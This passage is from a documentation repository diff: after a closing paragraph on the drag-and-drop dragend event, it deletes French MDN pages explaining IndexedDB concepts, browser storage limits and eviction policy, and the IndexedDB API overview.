Once the drag is complete, a dragend is fired at the source of the drag (the same element that received the dragstart event). This event will fire if the drag was successful or if it was cancelled. However, you can use the dropEffect to determine what drop operation occurred.

- -

If the dropEffect property has the value none during a dragend, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The mozUserCancelled property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if was successful.

- -

A drop can occur inside the same window or over another application. The dragend event will always fire regardless. The event's screenX and screenY properties will be set to the screen coordinate where the drop occurred.

- -

After the dragend event has finished propagating, the drag and drop operation is complete.

diff --git a/files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html b/files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html deleted file mode 100644 index cb05bef3fe..0000000000 --- a/files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Les concepts basiques d'IndexedDB -slug: Web/API/API_IndexedDB/Basic_Concepts_Behind_IndexedDB -tags: - - Avancé - - IndexedDB - - concepts -translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB ---- -

{{DefaultAPISidebar("IndexedDB")}}

- -

IndexedDB est un moyen pour permettre le stockage de données dans le navigateur d'un utilisateur, de manière persistante. Ses fonctions de recherche avancées permettent de créer des applications qui fonctionnent tant connectées que déconnectées. IndexedDB est utile pour créer des applications qui stockent une grande quantité de données (par exemple : un catalogue de DVDs dans une bibliothèque) et des applications qui n'ont pas forcément besoin d'une connectivité Internet continue (par exemple : des clients de messagerie électronique, des listes de tâches, des bloc-notes).

- -

À propos de ce document

- -

Ce document introduit les concepts et les termes essentiels d'IndexedDB. Vous aurez une vue d'ensemble et vous comprendrez les concepts-clés.

- -

Vous pourrez trouver ici :

- -
    -
  • Pour en savoir plus sur les termes d'IndexedDB, voyez la section Définitions.
    • -
  • Pour avoir un tutoriel sur l'utilisation de l'API, voyez Utiliser IndexedDB.
    • -
  • Pour la documentation de référence sur l'API IndexedDB, voyez l'article IndexedDB et ses sous-parties, qui documentent les types d'objets utilisés par IndexedDB.
    • -
  • Pour plus d'informations sur la manière dont le navigateur gère vos données en arrière-plan, lisez Limites de stockage du navigateur et critères d'éviction.
    • -
- -

Vue d'ensemble d'IndexedDB

- -

IndexedDB vous permet de stocker et récupérer des objets qui sont indexés avec une "clé". Tous les changements que vous faites dans la base de données sont forcément transactionnels. Comme la plupart des solutions de stockage du web, IndexedDB respecte la politique de sécurité utilisant l'origne (same-origin policy). Ainsi, vous pouvez accéder aux données stockées d'un domaine, alors que vous ne pouvez pas accéder aux données de domaines différents.

- -

IndexedDB est une API asynchrone qui peut être utilisée dans la plupart des contextes, Web Workers inclus. Elle comportait également une version synchrone prévue pour être utilisée dans des Web Workers. mais cette option a été retirée de la spécification en raison du manque d'intérêt de la communauté Web.

- -

IndexedDB est une alternative à l'API WebSQL Database, qui a été dépréciée par le W3C le 18 novembre 2010. Alors que ces APIs sont toutes deux des solutions de stockage, elles n'offrent pas les mêmes fonctionnalités. WebSQL Database est un système d'accès à une base de données relationnelle alors qu'IndexedDB est un système de table indexée. 

- -

Les grands concepts

- -

Si vous avez l'habitude de travailler avec d'autres types de bases de données, vous pourrez être désorienté par l'utlisation d'IndexedDB. Mais il suffit de garder les concepts importants suivants en tête :

- -
    -
  • Les bases de données IndexedDB stockent des paires clé-valeur. Les valeurs peuvent êtres des objets structurés, et les clés peuvent être des propriétés de ces objets. Vous pouvez créer des index à partir de n'importe quelle propriété des objets, pour faciliter la recherche et l'énumération triée. Les clés peuvent être des objets binaires.
    • -
  • IndexedDB est construit autour d'un modèle de base de données transactionnelle. Tout ce que vous faites avec IndexedDB se passe dans le contexte d'une transaction. L'API IndexedDB fournit beaucoup d'objets qui représentent des index, des tables, des curseurs, etc, mais chacun de ces objets est forcément relié à une transaction donnée. Il n'est pas possible d'exécuter de commandes ou d'ouvrir des curseurs en dehors d'une transaction. Les transactions ont une durée de vie bien définie, donc essayez d'utiliser une transaction après avoir terminé le traitement des exceptions. De plus, les transactions s'engagent automatiquement, elles ne peuvent être lancées manuellement.
    - Ce modèle basé sur des transactions est vraiment utile : rendez-vous compte qu'un utilisateur peut ouvrir deux instances de la même application web dans deux onglets différents en même temps. Si on n'utilisait pas d'opérations transactionnelles, une instance pourrait écraser les modifications de l'autre, et vice versa. Si vous n'êtes pas à l'aise avec la notion de transaction dans une base de données, vous pouvez consulter l'article Wikipedia sur les transactions. Vous pouvez aussi voir plus loin la partie transaction dans la section des définitions.
    • -
  • L'API IndexedDB est principalement asynchrone. L'API ne vous donne pas les données en retournant des valeurs. Au contraire, vous devez utiliser une fonction de rappel ("callback"). Vous ne stockez pas une valeur dans la base de données, ou vous ne récupérez pas une valeur de la base de manière synchrone, mais vous demandez qu'une opération de base de données soit exécutée. Un événement DOM est envoyé lorsque l'opération est terminée, et le type d'événement vous permet de savoir si l'opération a réussi ou échoué. Cela peut sembler un peu compliqué au premier abord, mais après tout, ce n'est pas si différent du fonctionnement de XMLHttpRequest.
    • -
  • IndexedDB utilise de nombreuses requêtes. Les requêtes sont des objets qui reçoivent les événements DOM de succès ou d'échec mentionnés précédemment. Elles ont des propriétés onsuccess et onerror, et vous pouvez appeler addEventListener() et removeEventListener() sur ces objets. Elles ont aussi les propriétés readyState, result, et errorCode qui vous donnent l'état d'une requête. La propriété result est plutôt magique car elle peut correspondre à beaucoup de choses différentes, en fonction de la manière dont la requête a été créée (par exemple, une instance de IDBCursor, ou la clé de la valeur que vous venez d'insérer dans la base de données.)
    • -
  • IndexedDB utilise les évènements DOM pour vous informer quand les résultats sont disponibles. Les évènements DOM ont toujours une  propriété de type (dans IndexedDB, sont préférables "success" (succès) ou "error" (erreur)). Les évènements DOM ont aussi une propriété target (cible) qui dit vers où l'évènement est dirigé. Dans la plupart des cas, la target d'un évènement est l'objet IDBRequest qui a été généré à la suite d'une opération de base de données . Les événements "success" ne se propagent pas et ne peuvent être annulés . Les évènements "Error", se propagent et peuvent être annulés. C'est très important, lors d'un événement d'erreur, les transactions annulent au fur et à mesure qu'elles s'exécutent, à moins qu'il ne soit annulé .
    • -
  • IndexedDB est orienté objet. IndexedDB n'est pas une base de données relationnelle, avec des tables, des colonnes et des lignes. Cette différence importante et fondamentale change votre manière de concevoir et construire vos applications.
    - Dans un espace de stockage de données relationel habituel, on aurait un tableau qui permet de stocker un ensemble de lignes de données, et de colonnes de types nommés de donnée. Avec IndexedDB, au contraire, vous créez un objet de stockage pour un type de données, et les objets JavaScript persistent simplement dans cet espace. Chaque objet de stockage peut utiliser un ensemble d'index qui rendent efficaces la recherche et l'itération. Si les systèmes de base de données orientée objet ne vous sont pas familiers, vous pouvez aller lire l'article Wikipedia sur les bases de données orientées objet.
    • -
  • IndexedDB n'utilise pas le langage Structured Query Language (SQL). Il utilise des requêtes sur un index pour obtenir un curseur, que l'on utilise ensuite pour parcourir l'ensemble des résultats. Si vous ne connaissez pas bien les systèmes NoSQL, vous pouvez consulter l'article Wikipedia sur NoSQL.
    • -
  • IndexedDB adhère au principe de same-origin policy (politique de même origine). Une origine est le domaine, le protocole d'application et le port URL du document où le script est exécuté. Chaque origine a son propre ensemble de bases de données associées . Chaque base de données a un nom qui l'identifie dans une origine.
    - La limite de sécurité d'IndexedDB empêche les applications d'accèder à des données d'origine différente. Par exemple, alors qu'une application ou une page http://www.example.com/app/ peut récupérer des données de http://www.example.com/dir/, parce qu'elles ont la même origine, elle ne peut pas récupérer les données de http://www.example.com:8080/dir/ (port différent) ni de https://www.example.com/dir/ (protocole différent), parce que leurs origines sont différentes.
    • -
- -

Définitions

- -

Cette section définit et explique les termes utilisés dans l'API IndexedDB.

- -

Database (base de données)

- -
-
database (base de données)
-
Un référentiel d'informations, comprenant généralement un ou plusieurs objets de stockage. Chaque base de données doit avoir les éléments suivants : -
    -
  • Name . (nom) Il identifie la base de données dans une origine spécifique et reste constant tout au long de la durée de sa vie. Le nom peut être n'importe quelle valeur de chaîne de caractères (y compris une chaîne vide).
    • -
  • Current version (version actuelle). Lors de la création de la base de données, sa version est le nombre entier 1. Chaque base de données ne peut avoir qu'une seule version à un moment donné .
    • -
-
-
durable
-
Dans Firefox, IndexedDB était durable, ce qui signifie que dans une transaction readwrite (lecture/écriture) {{domxref ("IDBTransaction.on complet")}} était déclenché uniquement lorsque toutes les données étaient garanties, avant d'être écrites sur le disque.
-
À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées pour augmenter les performances (voir {{Bug ("1112702")}}) ; comportement identique à celui des autres navigateurs qui mettent en oeuvre IndexedDB. Dans ce cas, l'événement {{Event ("complete")}} est déclenché après la réception par le système d'exploitation de la commande d'écriture, mais potentiellement avant l'écriture effective de ces données sur le disque. L'événement peut donc être livré plus rapidement qu'avant, mais il existe un petit risque que la transaction entière soit perdue si le système d'exploitation l'écrase ou s'il y a une perte de puissance du système avant l'écriture sur le disque. Étant donné que ces événements catastrophiques sont rares, la plupart des consommateurs ne devraient pas nécessairement s'en préoccuper davantage.
-
- -
-

Note : Dans Firefox, si vous souhaitez être sûr de la durabilité pour une raison ou une autre (par exemple, vous stockez des données critiques qui ne peuvent pas être recalculées plus tard), vous pouvez forcer une transaction d'écriture sur le disque avant la délivrance de l'évènement complete  par la création d'une transaction utilisant le mode expérimental (non standard) readwriteflush  (voir {{domxref("IDBDatabase.transaction")}}).  Ceci est actuellement expérimental et ne peut être utilisé que si la préférence dom.indexedDB.experimental est renseignée avec " true " (vrai) dans about:config.

-
- -
-
-
object store (objet de stockage)
-
-

Le mécanisme avec lequel les données sont stockées dans la base de données. L'objet de stockage maintient constamment ses enregistrements, lesquels sont des paires  "key-value" (clé-valeur). Les enregistrements dans l'objet de stockage sont triés dans l'ordre ascendant des "keys" (clés).

- -

Chaque objet de stockage doit avoir un nom qui est unique dans la base de données. Il peut éventuellement avoir un key generator (générateur de clé) et un key path (chemin de clé). S'il a un "key path", il utilise in-line keys (clés en ligne) ; sinon, il utilise out-of-line keys (clé hors ligne).

- -

Pour la documentation de référence sur les objets de stockage, voir IDBObjectStore ou IDBObjectStoreSync.

-
-
version
-
À la première création de la base de données, sa version est le nombre entier 1. Chaque base de données possède une seule version à un moment donné ; il ne peut pas exister plusieurs versions dans le même temps. La seule façon de changer la version est de l'ouvrir avec une version plus haute. Ceci démarre une transaction VERSION_CHANGE et lance un évènement upgradeneeded. Le seul endroit où le schéma de la base de données peut être mis à jour est à l'intérieur du gestionnaire de cet événement.
-
Note : Cette définition décrit les spécifications les plus récentes, qui ne sont implémentées que dans des navigateurs à jour. Les anciens navigateurs ont implémenté la méthode IDBDatabase.setVersion() maintenant obsolète et supprimée.
-
database connection (connexion de la base de données)
-
Une opération créée en ouvrant une database (base de données). Une base de données peut avoir plusieurs connexions en même temps.
-
transaction
-
-

Un ensemble atomique d'accès aux données et d'opérations de modification des données sur une base de données particulière. C'est la façon dont vous interagissez avec les données dans une base. En fait, toute lecture ou changement dans la base de données doit se produire dans une transaction.

- -

Une connexion à la base de données peut avoir plusieurs transactions actives associées à la fois, pourvu que les transactions d'écriture n'aient pas de chevauchement scopes. La portée (scope) des transactions, qui est définie lors de la création, détermine l'objet avec lequel la transaction peut interagir, et reste constante pour la durée de vie de la transaction. Ainsi, par exemple, si une connexion à la base de données a déjà une transaction d'écriture avec une portée qui couvre simplement l'objet de stockage flyingMonkey , vous pouvez commencer une seconde transaction avec une portée sur les objets de stockage unicornCentaur et unicornPegasus. En ce qui concerne les transactions de lecture, vous pouvez en avoir plusieurs - même avec chevauchements.

- -

Les transactions doivent être de courte durée, pour que le navigateur puisse mettre fin à une transaction trop longue, afin de libérer des ressources de stockage verrouillées par cette dernière. Vous pouvez annuler la transaction, ce qui modifie les changements apportés à la base de données dans la transaction. Et vous n'avez même pas à attendre que la transaction commence ou soit active pour l'annuler.

- -

Les trois modes de transaction sont : " readwrite " (lecture/écriture), " readonly " (lecture seule), et " versionchange " (changement de version). La seule manière de créer et supprimer les objets de stockage et les index est d'utiliser une transaction versionchange . Pour en apprendre plus sur les types de transactions, voir l'article de référence pour IndexedDB.

- -

Parce que tout se passe au sein d'une transaction, c'est un concept très important dans IndexedDB. Pour en savoir plus sur les transactions, en particulier sur la façon dont elles se rapportent aux versions, voir IDBTransaction, qui a également une documentation de référence . Pour la documentation sur l'API synchrone, voir IDBTransactionSync.

-
-
request (requêtes)
-
L'opération par laquelle la lecture et l'écriture sur une base de données est effectuée. Chaque requête représente une opération de lecture ou d'écriture.
-
index
-
-

Un index est un objet de stockage spécialisé pour rechercher des enregistrements dans un autre objet de stockage appelé " referenced object store"  (objet de stockage référencé). L'index est un stockage persistant de key-value (clé-valeur)  dans lequel la partie "value" des enregistrements contient la partie "key" d'un enregistrement de l'objet de stockage référencé. Les enregistrements dans un index sont automatiquement remplis chaque fois que ceux de l'objet référencé sont insérés, mis à jour ou supprimés. Chaque enregistrement d'un index ne peut indiquer qu'un seul enregistrement dans son objet référencé, mais plusieurs index peuvent référencer le même objet. Lorsque l'objet référencé change, tous les index qui s'y réfèrent sont mis à jour automatiquement.

- -

Vous pouvez également rechercher des enregistrements dans un objet de stockage en utilisant la clé.

- -

Pour en apprendre plus sur l'utilisation des index, voir Using IndexedDB. Pour la documentation de référence sur l'index, voir IDBKeyRange.

-
-
- -

Key and value (clé et valeur)

- -
-
key (clé)
-
-

Une valeur de données par laquelle les valeurs stockées sont organisées et récupérées dans l'objet de stockage . Celui-ci peut obtenir la clé de l'une des trois sources : un générateur de clés, un chemin de clé et une valeur explicitement spécifiée. La clé doit être d'un type de données qui a un nombre supérieur au précédent. Chaque enregistrement doit avoir une clé unique dans l'objet de stockage, de sorte que celui-ci ne peut comporter plusieurs enregistrements avec la même clé.

- -

Une clé peut être de l'un des types suivants : string (chaîne de caractères), date, float (flottante), binary blob (blob binaire) et array (tableau). Pour les tableaux, la valeur de la clé peut être comprise entre vide et l'infini. Et vous pouvez inclure un tableau dans un tableau.

- -

Vous pouvez également rechercher des enregistrements dans un objet de stockage en utilisant l'index.

-
-
key generator (générateur de clé)
-
Un mécanisme pour produire de nouvelles clés dans une séquence ordonnée. Si un objet de stockage n'a pas de générateur de clé, l'application doit fournir les clés des enregistrements stockés. Les générateurs ne sont pas partagés entre les objets de stockage. Il s'agit d'un détail concernant les navigateurs, car dans le développement web, vous ne créez pas réellement ou ne gérez pas les accès aux générateurs de clés.
-
in-line key (clé en ligne)
-
Une clé qui est stockée comme partie d'une valeur de stockage. Elle est trouvée en utilisant "key path" (chemin de clé). Une clé en ligne peut être créée par un générateur. Une fois la clé générée, elle peut être stockée dans la valeur utilisant le "key path" ou être utilisée comme clé.
-
out-of-line key (clé hors ligne)
-
Une clé stockée séparément de la valeur stockée.
-
key path (chemin de clé)
-
Définit où le navigateur doit extraire la clé d'une valeur dans l'objet de stockage ou l'index. Un chemin de clé valide peut inclure l'un des éléments suivants : une chaîne vide, un identifiant JavaScript ou plusieurs identifiants JavaScript séparés par des périodes, ou un tableau contenant ces éléments. Il ne peut pas inclure d'espaces.
-
value (valeur)
-
-

Chaque enregistrement a une valeur, qui peut inclure tout ce qui peut être exprimé en JavaScript, y compris : boolean (bouléen), number (nombre), string (chaîne de caractères), date, object (objet), array (tableau), regexp, undefined (indéfini), and null (nul).

- -

Quand un objet ou un tableau est stocké, les propriétés et valeurs dans cet objet ou ce tableau peuvent aussi être toute valeur valide.

- -

Blobs et fichiers peuvent être stockés, voir specification {{ fx_minversion_inline("11") }}.

-
-
- -

Intervalle et portée

- -
-
scope (portée ou étendue)
-
L'ensemble des objets de stockage et index auxquels s'applique une transaction. Les portées des transactions en lecture seule peuvent se chevaucher et s'exécuter en même temps. Par contre, les portées des transactions d'écriture ne peuvent pas se chevaucher. Vous pouvez toujours démarrer plusieurs transactions avec la même portée en même temps, mais elles entrent dans une file d'attente et s'exécutent l'une après l'autre.
-
cursor (curseur)
-
Un mécanisme pour l'itération de plusieurs enregistrements avec une "key range" (intervalle de clés). Le curseur possède une source qui indique quel index ou objet stocké est itéré. Il a une position dans l'intervalle et se déplace dans une direction qui augmente ou diminue dans l'ordre des clés d'enregistrement. Pour la documentation de référence sur les curseurs, voir IDBCursor ou IDBCursorSync.
-
key range (intervalle de clés)
-
-

Un intervalle continu sur un type de données utilisé pour les clés. Les enregistrements peuvent être récupérés à partir des objets de stockage et des index à l'aide de touches ou d'un intervalle de clés. Vous pouvez limiter ou filtrer l'intervalle en utilisant les limites inférieures et supérieures. Par exemple, vous pouvez itérer sur toutes les valeurs d'une clé entre x et y.

- -

Pour la documentation de référence sur "key range", voir IDBKeyRange.

-
-
- -

Limitations

- -

IndexedDB est conçu pour couvrir la plupart des cas qui nécessitent un stockage côté client. Cependant, il n'est pas adapté pour quelques cas comme les suivants :

- -
    -
  • Tri par classement international . Toutes les langues ne trient pas les chaînes de la même manière, de sorte que le classement ne peut être internationalisé. Bien que la base de données ne puisse pas stocker des données dans un ordre spécifiquement international, vous pouvez trier les données que vous avez déjà lues sur votre base de données. Notez, cependant, que le locale-aware sorting a été autorisée avec un indicateur expérimental activé (actuellement pour Firefox uniquement) depuis Firefox 43.
    • -
  • Synchronisation . L'API n'est pas conçue pour prendre en charge la synchronisation avec une base de données côté serveur. Vous devez écrire un code qui synchronise une base de données indexedDB côté client avec une base de données côté serveur.
    • -
  • Recherche de texte intégral . L'API n'a pas d'équivalent à l'opérateur LIKE en SQL.
    • -
- -

En outre, sachez que les navigateurs peuvent effacer la base de données, comme dans les conditions suivantes :

- -
    -
  • L'utilisateur demande un effacement. De nombreux navigateurs ont des paramètres qui permettent aux utilisateurs d'effacer toutes les données stockées pour un site Web donné, y compris les cookies, les signets, les mots de passe stockés et les données IndexedDB.
    • -
  • Le navigateur est en mode de navigation privée. Certains navigateurs ont des modes "navigation privée" (Firefox) ou "incognito" (Chrome). À la fin de la session, le navigateur efface la base de données.
    • -
  • La limite de disque ou de quota a été atteinte.
    • -
  • Les données sont corrompues.
    • -
  • Un changement incompatible est apporté à la fonctionnalité.
    • -
- -

Les circonstances exactes et les capacités du navigateur changent au fil du temps, mais la philosophie générale des fournisseurs de navigateurs est de faire les efforts nécessaires pour conserver les données lorsque c'est possible.

- -

Étape suivante

- -

Avec ces grands concepts dans nos poches, nous pouvons obtenir des choses plus concrètes. Pour un tutoriel sur l'utilisation de l'API, voir Using IndexedDB.

- -

Voir aussi

- -

Spécification

- - - -

Référence

- - - -

Tutoriels

- - - -

Article connexe

- - diff --git a/files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html b/files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html deleted file mode 100644 index bfa95657cc..0000000000 --- a/files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Limites de stockage du navigateur et critères d'éviction -slug: Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria -tags: - - Base de données - - IndexedDB - - LRU - - Limites - - Stockage - - eviction -translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria ---- -
{{DefaultAPISidebar("IndexedDB")}}
- -
-

Il existe un certain nombre de technologies Web qui stockent des données d'un type ou d'un autre du côté client (c'est-à-dire sur le disque local). Le processus par lequel le navigateur calcule l'espace alloué au stockage de données Web et les données à supprimer quand la limite est atteinte n'est pas simple et diffère d'un navigateur à l'autre. Cet article tente d'expliquer comment tout cela fonctionne.

-
- -
-

Note : Les informations ci-dessous devraient être assez précises pour la plupart des navigateurs modernes, mais les spécificités du navigateur sont évoquées quand elles sont connues. Opera et Chrome devraient se comporter de la même manière dans tous les cas. Mais Opera Mini (encore basé sur presto du côté serveur) ne stocke aucune donnée sur le client.

-
- -

Les différents types de stockage des données

- -

Même dans le même navigateur, en utilisant la même méthode de stockage, il existe différentes classes de stockage de données à comprendre. Cette section traite des différents types que vous pouvez trouver dans différents navigateurs.

- -

Généralement, les deux principaux types de stockage sont les suivants :

- -
    -
  • Persistant : ce sont des données qui doivent être conservées pendant une longue période. Elles ne seront évincéés que si l'utilisateur le choisit (par exemple, dans Firefox, il existe un bouton "nettoyer stockage" dans la boîte de dialogue d'informations sur la page pour chaque page).
    • -
  • Temporaire : il s'agit de données qui n'ont pas besoin de persister très longtemps. Elles seront évacuées en-dessous d'un minimum d'utilisation ({{anch("LRU policy")}}) lorsque les limites de stockage sont atteintes.
    • -
- -

Par défaut, le stockage temporaire sera utilisé dans la plupart des contextes d'utilisation (par exemple, des applications Web standard) et le persistant pour les applications installées (par exemple, les applications Firefox installées sur le système d'exploitation Firefox OS / Firefox de bureau, les applications Chrome).

- -

Spécificités de Firefox

- -

Dans Firefox, vous pouvez choisir le type de stockage que vous souhaitez utiliser en incluant une option propriétaire — storage — lorsque vous créez une base de données IndexedDB en utilisant {{domxref ("IDBFactory.open ()", "open ()")}} :

- -
    -
  • - 
    var request = indexedDB.open("myDatabase", { version: 1, storage: "persistent" });
    -
    • -
  • - 
    var request = indexedDB.open("myDatabase", { version: 1, storage: "temporary" });
    -
    • -
- -

Dans Firefox, quand le stockage persistant est choisi, l'utilisateur reçoit une fenêtre de dialogue d'interface utilisateur pour l'avertir que ces données persisteront et lui demander s'il en est satisfait.

- -

Les données de stockage temporaire ne provoquent aucune fenêtre de dialogue vers l'utilisateur, mais il y a des {{anch("Limites de stockage")}}.

- -

"Default storage" dans Firefox (stockage par défaut)

- -

C'est le troisième type de stockage à envisager dans Firefox — "Default storage" (stockage par défaut).  C'est une option par défaut, utilisée quand vous ne spécifiez pas le paramètre storage  vu ci-dessus. Les données du stockage par défaut se comportent différemment selon les circonstances : assimilées aux données d'un stockage persistant pour les applications installées de Firefox OS, ou d'un stockage temporaire pour tout autre type d'utilisation.

- -

Où sont stockées les données ?

- -

Chaque type de stockage représente un référentiel distinct, voici la cartographie réelle des répertoires sous le profil Firefox d'un utilisateur (d'autres navigateurs peuvent différer légèrement) :

- -
    -
  • <profile>/storage — le principal, le plus haut niveau de répertoire pour le stockage maintenu par le " quota manager " (manager de quotas) (voir ci-dessous).
    • -
  • <profile>/storage/permanent — répertoire de stockage des données persistantes.
    • -
  • <profile>/storage/temporary — répertoire de stockage des données temporaires.
    • -
  • <profile>/storage/default — répertoire de stockage des données par défaut.
    • -
- -
-

Note :  Depuis l'introduction de l' API Storage , le dossier "permanent" peut être considéré comme obsolète, il n'est plus utilisé que pour les bases de données de type persistant IndexedDB. Peu importe le mode, "best-effort" (meilleur effort) ou "persistant", les données sont stockées sous <profile>/storage/default.

-
- -
-

Note: Dans Firefox, vous pouvez trouver votre dossier profil en entrant : support dans la barre d'URL et en appuyant sur le bouton Show in... (Afficher dans ...) (par exemple, "Show in Finder" sur Mac OS X) à côté du titre "Profile Folder" (dossier de profil) .

-
- -
-

Note: Si vous regardez dans votre profil les répertoires de données stockées, vous pouvez voir un quatrième dossier : persistent . À la base, le dossier persistent a été renommé permanent, il y a quelques temps, pour faciliter les mises à niveau / migrations.

-
- -
-

Note: Les utilisateurs ne doivent pas ajouter leurs propres répertoires ou fichiers sous <profile>/storage . Cela entraînerait l'échec de l'initialisation du stockage ; par exemple {{domxref ("IDBFactory.open ()", "open ()")}} déclencherait un événement d'erreur.

-
- -

Limites de stockage

- -

L'espace de stockage maximal du navigateur est dynamique  — il est basé sur la taille de votre disque dur. La limite globale est calculée sur la base de 50% de l'espace disque libre. Dans Firefox, un outil interne du navigateur appelé " Quota Manager " (gestionnaire de quotas) surveille la quantité d'espace disque utilisée par chaque origine et supprime les données si nécessaire.

- -

Donc, si votre disque dur est de 500 Go, le stockage total d'un navigateur est de 250 Go. S'il est dépassé, une procédure appelée "origin eviction" (éviction d'origine) entre en jeu, en supprimant la valeur totale de l'origine jusqu'à ramener le niveau de stockage en-dessous de la limite. La suppression d'une base de données d'origine peut entraîner des problèmes d'incohérence.

- -

Il y a aussi une autre limite appelée group limit — ceci est défini comme 20% de la limite globale. Chaque origine fait partie d'un groupe (groupe d'origines). Il existe un groupe pour chaque domaine eTLD + 1.

- -

Par exemple :

- -
    -
  • mozilla.org — groupe1, origine1
    • -
  • www.mozilla.org — groupe1, origine2
    • -
  • joe.blogs.mozilla.org — groupe1, origine3
    • -
  • firefox.com — groupe2, origine4
    • -
- -

Ces groupes, mozilla.org, www.mozilla.org, et joe.blogs.mozilla.org peuvent utiliser globalement un maximum de 20% de la limite globale. firefox.com a un maximum distinct de 20%.

- -

Les deux limites reagissent différemment quand la limite est atteinte :

- -
    -
  • La limite de groupe est également appelée «limite dure»: elle ne déclenche pas l'éviction d'origine.
    • -
  • La limite globale est une «limite douce» car il est possible que certains espaces soient libérés et que l'opération puisse se poursuivre.
    • -
- -
-

Note: Si la limite de groupe est dépassée, ou si l'éviction d'origine ne crée pas assez d'espace libre, le navigateur lance  QuotaExceededError.

-
- -

Politique LRU

- -

Lorsque l'espace disque disponible est rempli, le gestionnaire de quotas commence à effacer les données sur la base de la politique LRU — l'origine la moins utilisée sera d'abord supprimée, puis la suivante, jusqu'à ce que le navigateur ne dépasse plus la limite.

- -

Nous traçons le "dernier temps d'accès" pour chaque origine utilisant le stockage temporaire. Une fois que la limite globale du stockage temporaire est atteinte, nous essayons de trouver toutes les origines actuellement inutilisées (c'est-à-dire, sans onglets ou applications ouverts qui conservent des bases de données ouvertes). Celles-ci sont ensuite triées sur le dernier accès. Les origines les moins récemment utilisées sont ensuite supprimées jusqu'à ce qu'il y ait suffisamment d'espace pour répondre à la demande qui a déclenché cette éviction d'origine.

- -

Quelles technologies utilisent le stockage de données du navigateur ?

- -

Dans Firefox, les technologies suivantes utilisent le stockage de données du navigateur pour stocker des données au besoin. Nous les qualifions de "quota clients" dans ce contexte :

- - - -

Le «dernier temps d'accès» des origines est mis à jour lorsque l'un de ces éléments est activé / désactivé. L'éviction d'origine supprimera les données pour tous ces "quota clients".

- -

Dans Chrome / Opera, l'API " Quota Management" gère les quotas pour AppCache, IndexedDB, WebSQL et File System API.

- -

Voir aussi

- - diff --git a/files/fr/web/api/api_indexeddb/index.html b/files/fr/web/api/api_indexeddb/index.html deleted file mode 100644 index 682043df0e..0000000000 --- a/files/fr/web/api/api_indexeddb/index.html +++ /dev/null @@ -1,322 +0,0 @@ ---- -title: IndexedDB -slug: Web/API/API_IndexedDB -tags: - - API - - Avancé - - Bases de données - - IndexedDB - - Stockage -translation_of: Web/API/IndexedDB_API ---- -

{{DefaultAPISidebar("IndexedDB")}}

- -

IndexedDB est une API de bas niveau qui permet le stockage côté client de quantités importantes de données structurées, incluant des fichiers/blobs. Cette API utilise des index afin de permettre des recherches performantes sur ces données. Alors que Web Storage est utile pour stocker de petites quantités de données, il est moins utile pour stocker de grandes quantités de données structurées. IndexedDB fournit une solution. Cette page est le point d'entrée pour tout ce qui concerne IndexedDB sur MDN - vous y trouverez les liens vers la référence complète de l'API et les guides d'utilisation, le support par les navigateurs, et quelques explications des concepts clés.

- -

{{AvailableInWorkers}}

- -
-

Note: l'API IndexedDB est puissante, mais elle peut sembler trop compliquée dans les cas simples. Si vous préferez une API plus simple, essayez des librairies comme localForage, dexie.js, ZangoDB, PouchDB, idb, idb-keyval, JsStore et lovefield qui offrent de nombreux avantages aux développeurs de IndexedDB.

-
- -

Concepts clés et utilisation

- -

IndexedDB est un système de gestion de base de données transactionnel, similaire à un SGBD relationnel basé sur SQL. Cependant contrairement aux SGBD relationnels, qui utilisent des tables avec des colonnes fixes, IndexedDB est une base de données orientée objet basée sur JavaScript. IndexedDB vous permet de stocker et de récupérer des objets qui sont indexés avec une clef; tout objet supporté par l'algorithme de clônage structuré peut être stocké. Vous devez spécifier le schéma de la base de données, ouvrir une connexion à votre base de données, puis récupérer et mettre à jour des données dans une série de transactions.

- - - -
-

Note: Comme la plupart des solutions de stockage en ligne, IndexedDB suit la politique same-origin policy. Alors même que vous pouvez accèder à des données stockées au sein d'un domaine, vous ne pouvez pas accéder à des données sur plusieurs domaines.

-
- -

Synchrone et asynchrone

- -

Les opérations effectuées par IndexedDB sont réalisées de manière asynchrone, afin de ne pas bloquer l'application. IndexedDB comprend à la fois une API asynchrone et une API synchrone. L'API synchrone était à l'origine uniquement destinée pour un usage avec les Web workers, mais elle a été retirée de la spécification parce qu'il était difficile de savoir si elle était nécessaire. Cependant l'API synchrone pourrait être ré-integrée si il y a une demande suffisante de la part des développeurs web.

- -

Limites de stockage et critères d'éviction

- -

Il y a un certain nombre de technologies web pour stocker différents types de données côté client (par exemple sur votre disque local). IndexedDB est la plus couramment citée. Le processus par lequel le navigateur calcule combien d'espace il doit allouer aux données web, et ce qu'il doit supprimer quand la limite est atteinte, n'est pas simple et varie entre les différents navigateurs. L'article "limites de stockage des navigateurs et critères d'éviction" tente d'expliquer ce fonctionnement, au moins pour le cas de Firefox.

- -

Interfaces

- -

Pour accèder à une base de données, il faut apeller open() sur l'attribut indexedDB d'un objet window. Cette méthode retourne un objet {{domxref("IDBRequest")}}; Les opérations asynchrones communiquent avec l'application appelante en déclenchant des évènements sur les objets {{domxref("IDBRequest")}}.

- -

Se connecter à la base de données

- -
-
{{domxref("IDBEnvironment")}}
-
Fournit un accès aux fonctionnalités d'IndexedDB. Implémenté par les objets {{domxref("window")}} et {{domxref("worker")}}.
-
{{domxref("IDBFactory")}}
-
Fournit un accès à la base de données.C'est l'interface implémentée par l'objet global indexedDB et c'est donc le point d'entrée de l'API.
-
{{domxref("IDBOpenDBRequest")}}
-
Représente une requête d'ouverture de la base de données.
-
{{domxref("IDBDatabase")}}
-
Représente une connexion à la base de données. C'est le seul moyen d'obtenir une transaction sur la base de données.
-
-

Récupérer et modifier les données

-
-
- -
-
